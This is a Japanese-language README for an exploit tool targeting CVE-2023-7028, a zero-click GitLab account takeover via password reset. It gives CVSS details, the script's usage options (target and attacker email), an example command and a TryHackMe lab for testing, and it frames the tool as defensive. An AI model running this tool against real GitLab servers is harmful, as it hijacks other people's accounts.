CVE-2023-7028

⚠️ このエクスプロイトは防御目的であり、潜在的に脆弱なGitLabサーバーを特定するためにサイバーセキュリティ専門家が使用すべきものです。

説明

CVE-2023-7028 - パスワードリセットによるアカウント奪取（ユーザーの操作不要）GitLab Community Edition および Enterprise Edition

影響を受ける製品とバージョン:

• CVSS: 10.0
• 積極的に悪用されている: YES
• パッチ: YES
• 緩和策: NO

ヘルプ

usage: CVE-2023-7028.py [-h] -u URL -t TARGET -a ATTACKER

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     GitLab URL (HTTP or HTTPS)
  -t TARGET, --target TARGET
                        Target email address
  -a ATTACKER, --attacker ATTACKER
                        Attacker email address

例: python CVE-2023-7028.py -u https://gitlab.example.com -t [email protected] -a [email protected]

ラボ

Try Hack MeのRoom GitLab CVE-2023-7028 を使用してエクスプロイトをテストできます。このRoomはCVE-2023-7028の影響を受ける脆弱なバージョンを実行しているためです。

SHADOWSERVERによるGitLabサーバーの可視化:

参考情報

• GitLab Critical Security Release: 16.7.2, 16.6.4, 16.5.6
• 5,300以上のGitLabサーバーがゼロクリックアカウント奪取攻撃にさらされる
• Shadowserver GitLab統計
• CVE-2023-7028 - AttackerKB